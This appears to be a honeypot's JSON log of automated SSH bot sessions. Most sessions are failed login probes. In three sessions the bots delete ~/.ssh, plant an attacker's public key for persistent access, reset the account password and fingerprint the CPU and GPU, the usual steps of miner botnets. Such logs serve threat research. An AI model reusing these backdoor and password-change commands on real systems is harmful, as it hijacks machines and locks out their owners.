{"id":"0f34a92d-4fee-49a2-893e-c96943b2b3f6","name":"sleepy-weathered-tanager","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57198,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:28.332661+00:00","ended_at":"2026-08-27T12:33:29.051424+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"lighthouse","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4580ea74-454f-437d-883a-77f5f7308cc3","name":"gallant-sullen-crossbill","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37136,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:28.294874+00:00","ended_at":"2026-08-27T12:33:29.314411+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5b23193e-2268-4797-9866-87c0f8811dc9","name":"nautical-thrifty-wolverine","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37122,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:26.967275+00:00","ended_at":"2026-08-27T12:33:27.641572+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e76e55fb-1151-4b80-9bf7-4a404b4da8da","name":"regal-tranquil-siskin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57184,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:26.730756+00:00","ended_at":"2026-08-27T12:33:27.751009+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"20f3ca35-e4c1-4e79-9bfe-e5ec9d9c89ed","name":"feral-fierce-goose","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51402,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:20.567470+00:00","ended_at":"2026-08-27T12:33:22.449147+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dc2bcc39-ea57-4c25-a79e-bd9131bf0f47","name":"blazing-indigo-fieldfare","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51394,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:18.618524+00:00","ended_at":"2026-08-27T12:33:20.042218+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8a05d945-cba6-40fe-bfac-13bda1751752","name":"tawny-shifting-oriole","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":53560,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:32:40.703333+00:00","ended_at":"2026-08-27T12:33:09.349536+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"3df218e2-2656-45e6-aef2-840c526205e9","name":"sunlit-verdant-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":53969,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:32:17.812558+00:00","ended_at":"2026-08-27T12:32:28.522439+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"3ec0d238-b76e-40d5-8697-428d08619805","name":"gentle-golden-wagtail","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59690,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":443,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:32:06.271202+00:00","ended_at":"2026-08-27T12:32:07.457659+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T12:31:44.106807+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:44.547046+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:50.174969+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:50.967417+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:51.413666+00:00","kind":"input","latency_ms":null,"data":"echo -e \"!QAZxsw2\\n1RJtVeYKHERk\\n1RJtVeYKHERk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:51.855663+00:00","kind":"input","latency_ms":null,"data":"echo \"!QAZxsw2\\n1RJtVeYKHERk\\n1RJtVeYKHERk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:52.301914+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:52.981527+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:53.417643+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:54.443432+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:54.887080+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:56.266257+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:56.708876+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:57.261072+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:57.708193+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:58.599168+00:00","kind":"output","latency_ms":null,"data":" 12:31:58 up 7 days, 9:22, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:59.042351+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:59.937136+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:32:00.375687+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:32:00.850440+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:32:01.294722+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:32:01.665581+00:00","kind":"output","latency_ms":null,"data":"top - 12:32:01 up 7 days, 9:22, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:32:02.108127+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:32:02.419717+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:32:02.863766+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:32:03.646314+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:32:04.087960+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:32:04.468805+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T12:32:04.911263+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:32:05.826081+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:32:06.272049+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:32:07.310632+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"!QAZxsw2","method":"password","accepted":true,"tier":"other"}]} {"id":"806d0c7b-561d-4e41-9801-7e20ecfa53b7","name":"crystal-obsidian-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":42566,"username":"node","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":199,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:31:49.970812+00:00","ended_at":"2026-08-27T12:31:50.071922+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":737,"events":[{"seq":1,"at":"2026-08-27T12:31:48.213035+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:31:48.771610+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:31:48.971210+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:31:48.971805+00:00","kind":"output","latency_ms":null,"data":" 12:31:48 up 7 days, 9:21, 0 user, load average: 0.21, 0.17, 0.2"},{"seq":5,"at":"2026-08-27T12:31:49.171283+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:31:49.172107+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:31:49.370821+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:31:49.371280+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:31:49.577780+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:31:49.580330+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:31:49.772184+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:31:49.772718+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:31:49.972012+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:31:49.972578+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"node","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"8cb6aa8b-8141-4827-9197-5b2b01a4e730","name":"amber-eager-crane","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59718,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:48.009222+00:00","ended_at":"2026-08-27T12:31:50.024651+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"063ba4fa-f4f3-4a10-a2ca-0fedab92e42f","name":"dappled-rugged-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":54790,"username":"server","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":757,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:46.854372+00:00","ended_at":"2026-08-27T12:31:48.487515+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T12:31:20.063116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:20.845412+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:27.342293+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:28.070217+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:28.825092+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Server123\\nSDxi9Yw1TDNI\\nSDxi9Yw1TDNI\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:29.584960+00:00","kind":"input","latency_ms":null,"data":"echo \"Server123\\nSDxi9Yw1TDNI\\nSDxi9Yw1TDNI\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:30.341729+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:30.604476+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:31.362093+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:32.488160+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:33.248243+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:34.031415+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:34.789099+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:35.179391+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:35.941147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:36.685394+00:00","kind":"output","latency_ms":null,"data":" 12:31:36 up 7 days, 9:21, 0 user, load average: 0.28, 0.27, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:37.442170+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:37.899674+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:38.656814+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:39.082402+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:39.838162+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:40.642268+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:40 up 7 days, 9:21, 0 user, load average: 0.28, 0.27, 0.25\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:41.399959+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:41.769154+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:42.523991+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:42.996939+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:43.763041+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:44.114116+00:00","kind":"output","latency_ms":null,"data":"server"},{"seq":29,"at":"2026-08-27T12:31:44.871550+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:46.088456+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:46.855129+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:48.226488+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"server","password":"Server123","method":"password","accepted":true,"tier":"other"}]} {"id":"be391fb2-d976-4b3e-be6b-96645c4ce781","name":"sooty-watchful-fieldfare","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59702,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:45.559670+00:00","ended_at":"2026-08-27T12:31:47.125693+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"99ccf506-6ffc-4033-8775-6988a850b13b","name":"whispering-placid-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":51354,"username":"tempuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:43.140989+00:00","ended_at":"2026-08-27T12:31:45.015186+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:31:15.276132+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:15.603932+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:19.830734+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:21.829212+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:22.169162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\n3M1zK9iETKWr\\n3M1zK9iETKWr\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:22.481253+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\n3M1zK9iETKWr\\n3M1zK9iETKWr\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:22.808860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:23.810322+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:24.139006+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:24.223666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:24.278135+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:31:25.071155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:25.399478+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:31:26.703122+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:31:27.032213+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:31:28.575738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:31:28.902669+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:31:29.799390+00:00","kind":"output","latency_ms":null,"data":" 12:31:29 up 7 days, 9:21, 0 user, load average: 0.33, 0.24, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:31:30.136528+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:31:31.624228+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:31:31.959190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:31:33.064736+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:31:33.391888+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:31:35.020429+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:35 up 7 days, 9:21, 0 user, load average: 0.33, 0.24, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:31:35.350356+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:31:36.503486+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:31:36.836969+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:31:38.412898+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:31:38.742516+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:31:40.791279+00:00","kind":"output","latency_ms":null,"data":"tempuser"},{"seq":31,"at":"2026-08-27T12:31:41.119221+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:31:42.543679+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:31:43.143375+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:31:44.917412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tempuser","password":"admin","method":"password","accepted":true,"tier":"other"}]} 